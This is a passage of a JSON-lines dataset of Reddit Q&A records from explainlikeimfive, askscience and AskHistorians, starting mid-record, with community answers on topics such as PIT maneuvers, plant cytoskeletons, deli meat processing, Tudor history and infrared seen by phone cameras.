desperate situations, but often the reason why he was in the situations in the first place was that his sergeant, a raging anti-Semite, hated him and would 'volunteer' him for suicidal missions.\n\nThese are just off the top of my head, I'm sure there are plenty of other examples"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8ms5td", "title": "how does a pit maneuver work, and why is it an effective way of stopping a vehicle?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8ms5td/eli5_how_does_a_pit_maneuver_work_and_why_is_it/", "answers": {"a_id": ["dzpxbt6"], "score": [7], "text": ["There are two important aspects to a PIT maneuver\n\n1. A car tire that is rolling has significantly more traction than one that has started sliding.\n\n2. The traction from the rear wheels keep the car going in a straight line\n\nThe goal of the PIT maneuver is to push the back end of the target vehicle to the side and start the rear wheels sliding, once they start sliding they lose their traction and don't keep the car going in a straight line anymore and hopefully cause the car to spin out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5cw0yr", "title": "how do officials in the us know there are '11-12 million undocumented immigrants' when, by definition, they're undocumented?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5cw0yr/eli5_how_do_officials_in_the_us_know_there_are/", "answers": {"a_id": ["d9zsirp", "d9ztjny", "d9ztkz8", "d9zyon6"], "score": [109, 16, 25, 2], "text": ["Suppose you took a survey about how much bread the average person bought. You can then use the total amount of bread sold and the number of documented people to calculate an estimate of how many people aren't documented.\n\nThere are many flaws you can probably figure out in this approach but this type of statistical analysis has been useful for many things, including winning wars.", "Undocumented immigrants will interact with the government in a variety of ways: the police, hospitals, schools, etc. They know roughly who and where many are, they are just not required to or interested in rounding up and deporting them if they are non violent. Though this may change with Trump winning. ", "The US, like most western countries, takes a [census](_URL_2_) of the population every so often.\n\nThe estimates for unauthorized immigration comes from comparing the demographic estimate of the number of immigrants residing legally in the country with the total number of immigrants as measured by the census.\n\nLegally authorized migrants include naturalized citizens, people with indefinite leave to remain or permanent residency and temporary residents (e.g. students and green card holders).\n\nThe following [equation](_URL_0_) is used to determine the estimate.  You can read more about it [here](_URL_1_).\n\n", "Someone said it earlier. Undocumented immigrants interact with the government every so often and in most cases are required to tell the govt whether they have certain documents or not. \n\nI should add that it's incorrect to assume that \"undocumented\" necessarily means \"illegal\" (as in the caricature of border hopping latinos)  since most undocumented immigrants don't come from Mexico or over the southern border at all. Instead, they come by plane as legal visitors, however,  for a number of reasons overstay their visas. \n\nFurthermore, this is usually their only means of being able to come to the US. While it is relatively less painful for Canadians to obtain permission to cross over it is generally  not possible to obtain a legal resident status if you are from a non-European country. With the few exceptions being that you have a couple hundred thousand $ in investments, are married to a citizen or are a relative of a US citizen. So in many cases you can't just \"get in line\" because the line does not exist. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://assets.pewresearch.org/wp-content/uploads/sites/7/2016/09/PH_2016.09.20_Unauthorized-table-01.png", "http://www.pewhispanic.org/2016/09/20/methodology-10/", "https://www.census.gov/programs-surveys/acs/"], []]}
{"q_id": "3qkejk", "title": "When sending things to other planets, why do we choose not to use the moon as a mini gravity-assist? Surely it would just reduce fuel (even slightly) and thus reduce the mass of spacecraft?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3qkejk/when_sending_things_to_other_planets_why_do_we/", "answers": {"a_id": ["cwfxb9c"], "score": [27], "text": ["We can and do! The STEREO probes used the Moon for instance.\n\nOne thing that makes it tricky is that the Moon moves so fast in *angular speed*. The Moon is orbiting the Earth at 1 km/s, compared with other planets that are moving at 10s of km/s, but the Moon is much closer, so its angular speed is much higher. The Moon moves around the Earth at about 12 degrees a day. Venus at its most rapid moves across the sky at about 1 degree a day.\n\nThis means that if you have to delay your launch by a couple of days due to weather, the Moon is in a completely different location in its orbit, and a gravity assist might not work so well. The Moon is also so close that you can't fix this with small adjustments along the way. You can wait until the next month, but by that point the other planets will have moved, and you're probably in an even worse situation.\n\nWith Venus or Jupiter or whatever, delaying by a few days only makes a small difference in the orbital configuration of the solar system. And because your probe is travelling for months, you can make small adjustments to somewhat make up the difference.\n\nSo yeah, we can use the Moon, and we do use it fairly often, but it's a little tricky, so we don't use it every time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "10bmfl", "title": "Simple homopolar magnet motor: how does it work?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10bmfl/simple_homopolar_magnet_motor_how_does_it_work/", "answers": {"a_id": ["c6c1j9o"], "score": [2], "text": ["It looks like it's just a trick. He's basically outright lying about all the science - magnetic monopoles, for instance, would be an amazing scientific breakthrough and are not something you just find on ebay. And even if they did exist, they wouldn't generate magic free energy like that.\n\n[This website](_URL_1_) has a great description of how to build his simple motor. The trick is that there's electric current through the two supports, the nails in his version. By using the block of wood, he hides the battery and electrical connections. Also, the coil is insulated on one side (which can be very subtle) so the current only flows when the coil is positioned such that it gets a boost. [This video](_URL_0_) shows how to make a similar motor, but the insulation is achieved by insulating part of the coil rather than sneakily fiddling with the insulation only at the electrical contacts.\n\nSince there's current flowing, that's clearly an energy source. You can also notice, when he measures the voltage he very deliberately measures the right hand nail against the magnet, but the magnet is touching the left nail and so is in electrical contact with the other side of the battery. He's trying to make this look unimportant, but in reality that's why he gets a measurement."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=it_Z7NdKgmY&amp;feature=related", "http://scitoys.com/scitoys/scitoys/electro/electro.html"]]}
{"q_id": "awyyt0", "title": "what is aggregate demand and how is it used?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/awyyt0/eli5_what_is_aggregate_demand_and_how_is_it_used/", "answers": {"a_id": ["ehq53f1"], "score": [2], "text": ["Imagine if you combined all of the different wants of people all over the United States. You use so that you can see if a country's people are more or less eager overall to want to buy stuff."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ddps7h", "title": "Why does the South/Central America region have so many stimulant bearing plants?", "selftext": "So cocaine, coffee, cacao, tobacco, Yerba Mate and Guarana are all stimulant bearing plants and all native to South America. \n\nMeanwhile Africa and Eurasia has betel nut and tea plants (I might be missing a few?)\n\nWhat evolutionary pressure lead to that concentration of similar molecules in that region?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ddps7h/why_does_the_southcentral_america_region_have_so/", "answers": {"a_id": ["f2pi2bq"], "score": [21], "text": ["Well, let's start by taking a more detailed look at a list of plants with stimulant properties.  [Mestry et al. 2016](_URL_2_) has the most detailed list I can find, and though I'm a little skeptical of the journal this study was published in, it's clear that all of these plants do exist and have at least some reports of stimulant action.  For simplicity, I'll just split them into Old vs. New World origins:\n\nOld World: tea (*Camellia sinensis*), coffee (*Coffea arabica*), kola nut (*Cola nitida*), ephedra (*Ephedra sinica*), khat (*Catha edulis*), St. John's wort\\* (*Hypericum perforatum*), ginkgo\\* (*Ginkgo biloba*), gotu kola\\* (*Centella asiatica*), ginseng\\* (*Panax ginseng*), betel\\* (*Piper betel*)\n\nNew World: coca plant/cocaine (*Erythroxylum coca*), cocoa (*Theobroma cacao*), guarana (*Paullinia cupana*), yerba mate (*Ilex paraguariensis*)\n\nI've marked with an asterisk the plants that seem to have a lack of rigorous scientific evidence for stimulant properties (but included them just for the sake of completeness), and I'm also not sure why the paper I cited above doesn't mention betel, so I added that myself.  Even if we remove these though, you'll note that both the Old and New World have 4 or 5 plants which are used for stimulant properties, so I don't think there's really anything extraordinary about the Americas in this respect.\n\nFurthermore, your question necessarily assumes that there are *proportionally* more stimulant-bearing plants in the Neotropics, while we've only talked about absolute numbers so far.  However, the tropical regions of the Americas contain more plant species than the tropical areas of Africa and Asia combined ([Antonelli and Sanmartin 2011](_URL_0_)), and these regions also contain include locations with the [highest densities of plant species](_URL_1_) in the world (comparable only to some parts of Southeast Asia).  So when taking this into account, it shouldn't be surprising at all that there are comparable or slightly greater numbers of plants that produce stimulant compounds in South and Central America than the rest of the world, and no specific evolutionary hypotheses are necessary to explain this.\n\nEdit: moved coffee to Old World instead of New... this is what I get for writing posts at 2 am."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://faculty.washington.edu/timbillo/Readings%20and%20documents/global%20div%20patterns%20origins/Antonelli%202011%20TAXON%20tropical%20plant%20diversity%20explained.pdf", "https://www.nees.uni-bonn.de/research-/systematics-evolution-ecology/biogeography-and-macroecology-biomaps/biomaps-pdf/worldmap-of-species-richness-of-vascular-plants-by-barthlott-et-al.-2005", "https://pdfs.semanticscholar.org/cfae/3c1395956469f77778cdd6674a248f4145cc.pdf"]]}
{"q_id": "duy64q", "title": "Did Ferdinand Marcos, from the Philippines, forged an attack in Manila to justify martial law?", "selftext": "Examples like this shows up in various books. And I would like to know if we have evidence for these claims, and what evidence can be found. \n\nIn this example, I read that Ferdinand Marcos wanted to implement martial law in his country in 1971, Philippines, but he needed a reason for it. And in 1972, [some bomb attacks happened](_URL_0_) and so martial law was ensued.\n\nThere are people that claim that these attacks were made by his own government, allowing Marcos to proceed with the martial law. For reference (although I wasn\u2019t able to find the file and read it): \u201cPhilippines: marcos gambles on martial law - United States department of state declassified intelligence note, oct 6th 1972\u201d\n\nMy question is: what are the historial evidence for it? How can we (or in this case the United States intelligence) be sure if they were responsible for it, or if it was indeed terrorists that made the attack?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/duy64q/did_ferdinand_marcos_from_the_philippines_forged/", "answers": {"a_id": ["f9cc911"], "score": [2], "text": ["The **Martial Law Era** of **Former President Ferdinand Marcos** is a complex period in our history. Different kinds of people had different kinds of experiences. Those who *took up arms against the state, or were sympathetic to them*, naturally had different narratives compared to those who *lived through the period as* *compliant, obedient citizens*. And in between are others who had different stories to tell, some positive, some negative, and many others that are mixed. Of course, each side had reasons to stay in theirs, and many, were due to *political beliefs*. Communism in the Philippines has failed (Had he succeeded in his younger years, **Jose Maria Sison** would have established something similar to what the Kim family did with North Korea because *he believed that* he was the **Filipino Mao Zedong**), but they're trying to actively forward their political agenda on two frontlines: the legal front (the National Democratic Front), and its armed insurgent wing, (the New People's Army). The legal front is mostly dependent on exploiting the people by introducing such concepts to them, most popular is their *hiding behind* ***student activism and activism in general,*** which gave both a bad name and a reputation for being defenders of the communists, and the traitorous sympathisers of the Huks (which is true, for most part now, in modern times). Some were latecomers, and the rest were the originally persuaded by the beliefs.\n\nMany of them didn't believe that communism was the answer to the problems plaguing the Philippines (for the rich, it was obvious why, but for the ones who managed to honestly uplift their socio-economic standing, it was ridiculous, because a lot of them were also people who weren't helped and people who led hard lives, but learned to be dependent on themselves without having to rely on the government too much), and neither was armed struggle, even more. Many had simply done their best in different fields the way the South Koreans did when they experienced their hardships. For students, it was different. Many of them genuinely were sympathisers for the exploited, but for the others, it was different. For all its fearful reputation even at that time, the \\[Communist\\] Party \\[of the Philippines\\] was merely a ragtag band of hubristic fantasists who thought replicating the Chinese revolution was a cinch.\n\nI can conclude that he definitely wasn't the one behind the Plaza Miranda Incident, or the bombings that followed afterwards. The Plaza Miranda Incident, was confirmed by one of the Party's Founding Fathers, Ruben Guevarra, the Head of the CPP Military Commission and a member of the CPP Central Committee, circa late 60s all the way to the 70s, to have been perpetrated by the Communist Party's very own Dante Cordero, acting with others in the series of bombings, but starting with the Plaza Miranda Incident, otherwise known as Operation Plan Big Leap Forward, the first in a series of campaigns that the CPP launched against the government. Watch the Ideolohiyang Pilipino Dokyu of Sambayanan, in partnership with the UP Diliman Social Sciences Third World Research Department.  \n\n\nYou can't find anything completely factual as to official statements released by any officials or opposition at the time because, the tumultuous political atmosphere. Much of anything you can find are either in the form of physical documents, dead people or those who know about it because they were involved in it. Therefore, I don't suggest reading anything from the PRWC official information board \\[it's heavily biased and contrary to the things I know they did\\] about things relating to the time, or common google searches for news articles of today. For example, as the of the time of writing this, I'm actually reading on the CIA declassified documents about anything politically-related or anything related to the Philippines at all. It offers a different perspective because they're the third party."]}, "title_urls": [], "selftext_urls": ["https://en.m.wikipedia.org/wiki/1972_Manila_bombings"], "answers_urls": [[]]}
{"q_id": "2gf2n5", "title": "deli meats: how do they get the meat into those huge boneless chunks for slicing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gf2n5/eli5_deli_meats_how_do_they_get_the_meat_into/", "answers": {"a_id": ["ckiigb6", "ckikpfm", "ckim5z2", "ckiq6ek", "ckiqbzn", "ckitm3j", "ckiuu9h", "ckix6qu", "ckiyga4", "ckizqwt"], "score": [94, 53, 719, 4, 10, 2, 11, 3, 2, 4], "text": ["It depends on what you mean. There are 3 different types of Cold Cuts, Whole cuts, Sectioned/formed Cuts, and Processed cuts.\n\nWhole cuts, are unprocessed, raw cuts of meat straight from the animal.\n\nSectioned/formed cuts, are shredded, and boild meats that are mixed with gelatin and packed into a form.\n\nPrepared or Processed meats are typically mixed meats.", "Same way a chicken mcnugget all look the same.\n\nTake a ton of meat and added shit and add to a blender. Mold into nugget, bread, cook, diabeetus.\n\nEdit: here you go  _URL_0_", "So! It appears my food background may come in handy again.\n\nBasically, this depends on the type of meat. It would be unreasonable to believe that giant ham or turkey is one solid muscle when sliced at the deli.\n\nEssentially there are several ways:\n\nWhole cuts a solid muscle that is removed from the animal and no additional meats are added. BUT! what I believe you are asking about is processed meats. \n\nProcessed meats are usually never one whole muscle. For example ham: Hams are normally taken, emaccerated (basically imagine a large piece of meat run through a giant lot of knives. Those knives make large cuts and gashes in the meat). This is then added into vacuum tumbler with other meat proteins (other parts of the animal that aren't as large or desirable to look at. This is then tumbled with the addition of phosphates to help \"glue the meat together\", and then some flavorings normally called a brine (sugar, salt, a cure and other flavors) are added. The vacuum tumbling action mixed with the meat and phosphate causes the meat to bind together in a sort of sticky way. This ham is then shoved into a ham casing (a VERY tight fit!). This is then smoked or cooked, causing the meat to blend together and look like a whole muscle. This is typically the ham or turkey you buy at a deli.\n\nTL;DR: Meats like these are usually several parts of the animal that are \"formed\" together. Add flavor, shove in casing, cook, slice, eat!", "I know someone else explained the large scale corporate meat creation, but as for proper deli meat, like the stuff we use at my work (I work in a country club kitchen, rich white people expect the real, expensive deal). We get full, fresh cuts of meat from places like Sysco or US Foods. There is an impressive amount of meat on the bones of cows and pigs, so after removing the bone, there is still a fat hunk of meat left. From there, we take a knife and hand carve all of the large pieces of fat and other pieces of the meat that aren't usually deli meat acceptable. After that process is done, you're usually left with some decent sized hunks of mostly fat free meat. From there we cook the meat in whatever fashion necessary(depends on what meat your preparing), and finally put it through a slicer to get those nice, thin, juicy slices of turkey or roast beef.", "I used to work at a deli slicing meats. That cheap watery turkey is seriously just a bag of solidified meat juice and it sprays everywhere when you slice it. I still have nightmares. ", "I can't speak for other brands, but as part of my training for Boar's Head brand I was told that, at least for the turkey breast, 3 breasts are put into a mold and the natural proteins bind them together. As a result, when we slice the turkey there are sometimes small holes where the breasts separated slightly. ", "There was a How It's Made on this exact topic. Pretty interesting.\n\n_URL_0_", "How It's Made did a deli meat segment.\n_URL_0_\n\n", "They take the bone out", "ELI5 [Video edition](_URL_0_) courtesy of How It's Made"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=TQTE-TEBbNo"], [], [], [], [], ["http://youtu.be/0DfrPJfFUBY"], ["https://www.youtube.com/watch?v=hesQfC0qn2s"], [], ["https://www.youtube.com/watch?v=hesQfC0qn2s"]]}
{"q_id": "2f0t0z", "title": "Can insects cross breed like mammals?", "selftext": "Like when a horse and a donkey make a mule or a lion and tiger make a liger", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2f0t0z/can_insects_cross_breed_like_mammals/", "answers": {"a_id": ["ck4ycia", "ck4zf5c", "ck59vb4"], "score": [48, 19, 3], "text": ["Yes. Speciation is complicated for all animals, and hybrids are not always sterile, leading some to see it as a vital source of new species. From \"Specialization Speciation and Radiation\" ed Tilmon, \"Hybridization is common in Lepidoptera (butterflies and moths) and occurs in more than 15% of all species.\" \n\n20 year multitrait study of 3 species of Tiger Swallowtail in US, the northern Papilio canadensis has one generation per year, P glaucus has two generations. P. appalachiensis in Virginia and N Georgia appears to be a hybrid based on \"delayed postdiapause emergence, distinctive X-linked allozymes, and unique thermal zone niche.\" In other words a lost mountain tribe of swallowtails has maintained its integrity. Each of these species has boundaries where hybridization continues.", "Yes, in my college ecology lab class we did fly matings to show that fly species don't inter-breed. Boy, did I fool them. My lab partner I made a cross of Drosophila melanogaster to Drosophila simulans. You aren't supposed to be able to do that, but it happened and the flies had intermediate traits of the two species (that's what the TA said anyways). \nNeedless to say, I got an A.", "While they are not insects, I know that some people have hybridized some species of tarantulas (which are invertebrates, like insects, but are more specifically arachnidss and mygalomorphs). There are many pictures if you do a google search of \"Brachypelma albovagans\" which is a cross between the *B. albopilosum* and the *B. vagans* tarantulas. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "12sx7s", "title": "Question about cytoskeletons", "selftext": "Does anyone know how cytoskeletons are made in plants if they don't have celtrioles?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12sx7s/question_about_cytoskeletons/", "answers": {"a_id": ["c6xvm2v", "c6xw5pj", "c6y3elq"], "score": [9, 2, 2], "text": ["[Here is an article on microtubule organization in plants](_URL_1_).\n\nA bit of background - the MTOC, or microtubule organizing center, is exactly what it says. In cells that contain centrioles, they are the MTOC. In cells that don't contain centrioles, such as higher plants, the nuclear envelope often serves as the MTOC. \n\nSo what the above article explains is that there are certain \"microtubule-associated proteins,\" namely MAP65, katanin p60, and MOR1, that are largely responsible for organization and assembly of microtubules in plants. \n\nAnother big question regarding lack of centrioles is how plant cells divide. \n\nIn animals, the mitotic spindle attaches to the centrioles/centrosomes. In plants, the mitotic spindle attaches to microtubule arrays at cortical MTOCs.\n\n[Here is a perspective from Plant Cell about microtubule arrays](_URL_0_) and [here is a paper about plant cell division](_URL_2_) if you want to read further.", "Whoops, just realized I mis-spoke. Plants have **centrosomes** much like an animal cell, but they work differently because they do indeed lack **centrioles**\n\nFantastic question. ~~Plants actually DO have centrioles, but they don't use them during cell division. Specifically, Centrioles are particularly important for [microbutubles](_URL_4_), during this process.~~ \n\nNot only do plants not use centrioles during division, but unfertilized animal eggs perform their last round of division without centrioles as well. They do this by growing outward from the DNA, instead of toward the DNA from a central [\"astral\"](_URL_3_) point formed by the centrioles. They're bundle together by motor proteins (that looks something like [this](_URL_8_)) that walk along the microtubule fibers and pull them toward a common point away from the DNA. The exact mechanism of this process is still undergoing investigation by biologist. \n\nBut remember, the cytoskeleton is not just microtubules coming from centrioles, it's made of [many](_URL_9_), [different](_URL_5_), [types](_URL_7_) of molecules that join together to form long strands ([polymerization](_URL_1_)) that comprise the [cytoskeleton](_URL_2_). This \"cytoskeleton\" is not like a human skeleton, it's much more dynamic and diverse, constantly changing and reforming, serving not just a structural role, but acting like [highways](_URL_0_), cranes, and even [\"legs\"](_URL_6_) for the cell. \n\n~~Plants have centrioles, but they use them differently.~~ **Importantly, the cytoskeleton is more than just the centrioles, and have many pieces and parts, and the function of each changes depending on what the cell is doing.**", "My research is actually on how centrosomes dysfunction, their contribution to anueploidy, and consequently, cancer.\n\nCentrioles don't play a role in microtubule nucleation, or the formation of tubulin subunits into a polymer. They play a structural role (as a ballast) in holding cytoskeletal components together. The most critical component is gamma tubulin, a claw shaped protein which holds a and b tubulin in close proximity to form a a large microtubule. In most organisms that lack the typical metazoan centrosome, gamma tubulin is sequestered by proteins at or around the nucleus. Centrin plays a big role."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.plantcell.org/content/16/10/2546.full", "http://jcs.biologists.org/content/115/7/1345.full.pdf", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3240993/"], ["http://www.youtube.com/watch?v=2-L-Ts6fsks", "http://en.wikipedia.org/wiki/Polymerization", "http://en.wikipedia.org/wiki/Cytoskeleton", "http://en.wikipedia.org/wiki/Astral_microtubules", "http://micro.magnet.fsu.edu/cells/microtubules/images/microtubulesfigure2.jpg", "http://en.wikipedia.org/wiki/Microtubule", "http://en.wikipedia.org/wiki/Cell_migration#Cytoskeletal_model_.28A.29", "http://en.wikipedia.org/wiki/Intermediate_filament", "http://www.youtube.com/watch?v=-7AQVbrmzFw", "http://en.wikipedia.org/wiki/Actin"], []]}
{"q_id": "uyvpu", "title": "who is karmanaut and why does everyone hate him so much?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/uyvpu/eli5_who_is_karmanaut_and_why_does_everyone_hate/", "answers": {"a_id": ["c4zta3m"], "score": [4], "text": ["Well this very well could be wrong but this is what I deduced. He was a mod who saw that shitty_watercolour had a lot of karma. He got butthurt and banned him. Then reddit got butthurt about him being banned and launched an initiative to remove that ban. The ban was removed and I think karmanaut deleted his account.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1s1bu1", "title": "how do i get into twitter?", "selftext": "I just don't get it. What should I be doing with it? How to I stay interested? I only have about 2 or 3 close friends who use it, and everyone else I know doesn't have an account. Do I honestly need one?\n\nUsually I'm good with figuring out how to \"get into\" a new site, but I've been stumped on Twitters purpose for months. I feel so out of the loop.  Any clarification?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1s1bu1/eli5how_do_i_get_into_twitter/", "answers": {"a_id": ["cdsyktw", "cdt8884"], "score": [3, 2], "text": ["Well, put it this way: Twitter is a place where you can have all the news from the people you like, in real time, whenever you want. It doesn't really matter how many friends of yours use it, since you will most likely be interest in other people such as actors, scientists etc. Juet make an account and look for famous people you like in real life.", "I was the same way for the longest time since none of my friends really used it but now that I am \"addicted\" to it I don't use it socially like facebook at all. I use it alot for a second screen experience for sports (following the analysts and commentators I like during games).  Also, It's kind of like choosing a newspaper but you get to pick all the writers and reporters and it's real-time.   \n\nPerfect example of the value of twitter.  The day the Boston Bombers finally got ran over/captured twitter \"news\" was about an hour ahead on  what the major news networks were reporting.   There were  multiple people live tweeting the events in the neighborhoods as it happened.   It's also one of the side effects though to...it can make anyone a reporter. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ensa3h", "title": "Why didn\u2019t Henry VIII just have Catherine of Aragon quietly poisoned? Seems like a lot less effort.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ensa3h/why_didnt_henry_viii_just_have_catherine_of/", "answers": {"a_id": ["fe5l8ti"], "score": [39], "text": ["Well there are several very good reasons for this. \n\n\nFirstly, Henry was a man of deep Christian Faith. He didn\u2019t just believe, he thought long and hard about his faith. He earned the title *Fidei Defensor* from Pope Leo not just because he was a king but because his 30,000 word theological attack upon Protestantism (*Assertio Septem Sacramentorum*) was an utter best seller going through twenty editions in his lifetime. \n\n\nThis was why while he was able to break with Rome politically, Henry\u2019s newly formed Church of England was fundamentally Catholic in terms of doctrine (although he veered between evangelical and conservative factions thereafter). \n\n\nGiven this, it would seem inconceivable that a man in such a high profile position, also one of deep faith, would justify the murder of someone; let alone royalty (as she was); let alone a woman. Nothing in any of his private writings suggests he would have ever considered such an idea. Indeed, all evidence suggests that Henry retained a great fear of poisoning for most of his adult life. \n\n\nYes he executed thousands; but all were done legally via the courts (this is not to say they were right; only that they were legal). \n\n\nI am not claiming he was not guilty of cruelty and caprice; he once threatened Katherine Parr with being burned as a heretic for the sin of disagreeing with him over matters of religion (although this was towards the end of his life when his ulcerated legs were driving him towards cruelty and brutality); but the idea of assassination was by all accounts an anathema to him. \n\n\nEven the two wives he executed were killed for treason (aka adultery towards the king). The legal distinction is crucial. \n\n\nSecondly, her sudden death would have weakened his position drastically. Murder of a reigning monarch had never worked out well for the Plantagenet kings and while he was a strong king, Henry couldn\u2019t escape the legacy of his father\u2019s usurpation of the throne, not his weakened position in having no male heir. \n\n\nCatherine suddenly dying would have left him vulnerable to allegations of skullduggery and that undermines the entire legal system. While centuries had passed since Henry II it would not have been lost upon the king how the murder of Beckett had caused the most powerful English monarch to humiliate himself as contrition. \n\n\nFinally there is the issue of her status; she was a Queen. One did not \u2018murder\u2019 a queen without attacking the very social order itself. This was a lesson hard learned by his daughter Elizabeth who saw the execution of Mary of Scotland become the casus belli for Spain to go to war with England. \n\n\nCatherine wasn\u2019t a nobody; she was aunt of the Holy Roman Emperor Charles V, arguably the most powerful man in Europe, who was part of the most powerful dynasty in Europe. She was Queen of England. It could be argued that had she died in mysterious circumstances, even if it wasn\u2019t used as an excuse for war, it would have impacted upon the prestige of his reign dramatically. \n\n\nThus Henry takes the legal approach; he moved to annul the union. And arguably he could have done so fairly easily had political circumstances in Europe had been more stable. \n\n\nBut refusal to annul forced him to break with Rome; and this led to the later issues. \n\n\nBy all accounts Catherine was a good mother, and a dutiful Queen; she never betrayed him, never conspired against him, even in the face of dreadful humiliation. \n\n\nIndeed the very issue of the use of poison in Tudor England has sparked some interesting debates. Death by poison was considered to be a very foreign type of crime (compared to rape or burglary say) and cases were exceptionally rare. \n\n\nThere remained something subversive about the act- in principle it would allow the low-born murder the high; and this, coupled with his own fear of the act, was probably why Henry insisted on making murder by poison an act of High Treason, sentenced to death by boiling alive (a sentenced carried out on just two people; Richard Roos, the man convicted of the Fisher poisoning and a maid, Margret Davy in 1542. \n\n\nSources:\n\n_URL_0_\nAt the bottom of this page is the actual law against poisoning Henry pushes through parliament. It describes the fate of those who resort so such deeds in marvellous gory detail. \n\nHutchinson, Robert; \u2018The Last Days of Henry VIII\u2019, 2005; Weidenfeld  &  Nicolson."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://archive.is/A66gt"]]}
{"q_id": "36ladx", "title": "Was Suleiman the Magnificent's hat really as big as is commonly depicted? If so, how did he keep it on?", "selftext": "For reference: _URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/36ladx/was_suleiman_the_magnificents_hat_really_as_big/", "answers": {"a_id": ["crezswz", "crf1v8c"], "score": [23, 105], "text": ["As a follow on question, did it have any particular significance with regards to foreign countries (e.g. \"My hat's bigger than his because I'm a better ruler\")?", "In Ottoman Turkey, the turban was so intrinsically linked to social class and status that they were incorporated into gravestones in ever more elaborate configurations - [this site] (_URL_0_) has a fascinatingly dense gallery of them arranged by religious sect and caste. Turban size became a minor obsession, with Suleiman's being particularly legendary in stature. \n\nTo underline the significance placed on turban size, laws on clothing passed in the Suleiman era decreed that no turban could exceed the height of the Sultan's.\n\n*Suleiman the Magnificent* by Andr\u00e9 Clot describes Suleiman as wearing \"a tall turban surmounted by a spray of diamonds and precious stones\" while other sources go further in describing a large, round turban wrapped around a cone-like frame which projected from the top into a neat point - which fits with the picture you've linked to.\n\nThat cone was probably what kept it in place and kept it in shape.\n\nSources: *Consumption Studies and the History of the Ottoman Empire, 1550-1922* by Donald Quataert and *Suleiman the Magnificent* by Andr\u00e9 Clot"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Suleiman_the_Magnificent#/media/File:EmperorSuleiman.jpg"], "answers_urls": [[], ["http://www.turkeygravestones.com/professions.html"]]}
{"q_id": "53jjtu", "title": "Why does my phone camera show the heating elements on my stovetop to be a pink/purple colour when they appear red/orange to the eye?", "selftext": "[Picture.](_URL_0_)\n\nI imagine the camera is picking up the infrared light and shifting it to visible light, but my DSLR camera doesn't do this. What is special about a phone camera that makes it do this, and why the pinkish purple, which is at a part of the spectrum away from infrared?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/53jjtu/why_does_my_phone_camera_show_the_heating/", "answers": {"a_id": ["d7txqax", "d7u5kcx", "d7vt7dg"], "score": [25, 3, 3], "text": ["When the heat is shown as red to your eye, it is shown in 600 to 900 nm light also known as red. But there is a lot of light coming off in infra red 900nm and higher.\nThis infra red light is invisible but appears as violet to your camera. \n\nTldr your camera is showing you light you can't see ", "The silicon chips in the camera are sensitive from near UV (~350nm) to near IR (~1100nm).  Visible is just 400nm to 700nm. Most color solid state cameras have a IR filter to block IR (and UV) pickup by the camera chip. To try and restrict the sensitivity to the 400-700nm range. For instance I have taken B/W video cameras and removed the filter. I now had a wide spectrum camera that could 'see' from ~350nm to ~1100nm. \n\nThese filters are not 100% effective. So some IR, especially from a stove heating element, will get though. Most color video cameras will show this as greenish. The silicon chip itself has additional filters for RGB on the pixels of each of those colors. So they will provide some additional IR filtering. But not equally. Depending on the ratio of how much IR is registered by each 'color' pixel, the reproduced colors can vary from camera to camera.", "A fun trick with infrared:  take your phone or digitical camera, and while looking at the display, point your standard TV remote at it and push some buttons.  Normally you see nothing and your TV changes to whatever you want, it's actually shooting out infrared light, that the camera picks up.    \n\nKinda cool to see the tip of your remote blnking it's codes to the TV in the non visible spectrum. \n\nThis trick doesn't apply to the increasingly popular RF remotes that use radio instead of infrared. "]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/8UKDC9k.jpg"], "answers_urls": [[], [], []]}
